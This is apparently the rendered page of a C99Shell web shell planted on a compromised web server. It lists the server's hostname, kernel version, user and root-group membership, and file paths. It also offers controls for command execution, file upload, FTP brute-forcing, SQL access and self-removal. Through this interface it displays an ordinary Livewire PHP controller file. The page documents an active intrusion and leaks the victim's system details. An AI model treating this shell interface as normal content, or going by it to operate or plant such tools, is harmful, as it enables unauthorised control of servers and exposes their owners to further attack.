!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Controllers/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HttpConnectionHandler.php (3.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Controllers;

use 
Illuminate\Http\Response;
use 
Livewire\Livewire;
use 
Illuminate\Support\Str;
use 
Illuminate\Pipeline\Pipeline;
use 
Illuminate\Support\Facades\Request;
use 
Livewire\Connection\ConnectionHandler;
use 
Symfony\Component\HttpKernel\Exception\NotFoundHttpException;

class 
HttpConnectionHandler extends ConnectionHandler
{
    public function 
__invoke()
    {
        
$this->applyPersistentMiddleware();

        return 
$this->handle(
            
request([
                
'fingerprint',
                
'serverMemo',
                
'updates',
            ])
        );
    }

    public function 
applyPersistentMiddleware()
    {
        try {
            
$originalUrl Livewire::originalUrl();

            
// If the original path was the root route, updated the original URL to have
            // a suffix of '/' to ensure that the route matching works correctly when
            // a prefix is used (such as running Laravel in a subdirectory).
            
if (Livewire::originalPath() == '/') {
                
$originalUrl .= '/';
            }

            
$request $this->makeRequestFromUrlAndMethod(
                
$originalUrl,
                
Livewire::originalMethod()
            );
        } catch (
NotFoundHttpException $e) {

            
$originalUrl Str::replaceFirst('/'.request('fingerprint')['locale'], ''Livewire::originalUrl());

            
// If the original path was the root route, updated the original URL to have
            // a suffix of '/' to ensure that the route matching works correctly when
            // a prefix is used (such as running Laravel in a subdirectory).
            
if (Livewire::originalPath() == request('fingerprint')['locale']) {
                
$originalUrl .= '/';
            }

            
$request $this->makeRequestFromUrlAndMethod(
                
$originalUrl,
                
Livewire::originalMethod()
            );
        }

        
// Gather all the middleware for the original route, and filter it by
        // the ones we have designated for persistence on Livewire requests.
        
$originalRouteMiddleware app('router')->gatherRouteMiddleware($request->route());

        
$persistentMiddleware Livewire::getPersistentMiddleware();

        
$filteredMiddleware collect($originalRouteMiddleware)->filter(function ($middleware) use ($persistentMiddleware) {
            
// Some middlewares can be closures.
            
if (! is_string($middleware)) return false;

            return 
in_array(Str::before($middleware':'), $persistentMiddleware);
        })->
toArray();

        
// Now run the faux request through the original middleware with a custom pipeline.
        
(new Pipeline(app()))
            ->
send($request)
            ->
through($filteredMiddleware)
            ->
then(function() {
                return new 
Response();
            });
    }

    protected function 
makeRequestFromUrlAndMethod($url$method 'GET')
    {
        
// Ensure the original script paths are passed into the fake request incase Laravel is running in a subdirectory
        
$request Request::create($url$method, [], [], [], [
            
'SCRIPT_NAME' => request()->server->get('SCRIPT_NAME'),
            
'SCRIPT_FILENAME' => request()->server->get('SCRIPT_FILENAME'),
            
'PHP_SELF' => request()->server->get('PHP_SELF'),
        ]);

        if (
request()->hasSession()) {
            
$request->setLaravelSession(request()->session());
        }

        
$request->setUserResolver(request()->getUserResolver());

        
$route app('router')->getRoutes()->match($request);

        
// For some reason without this octane breaks the route parameter binding.
        
$route->setContainer(app());

        
$request->setRouteResolver(function () use ($route) {
            return 
$route;
        });

        return 
$request;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--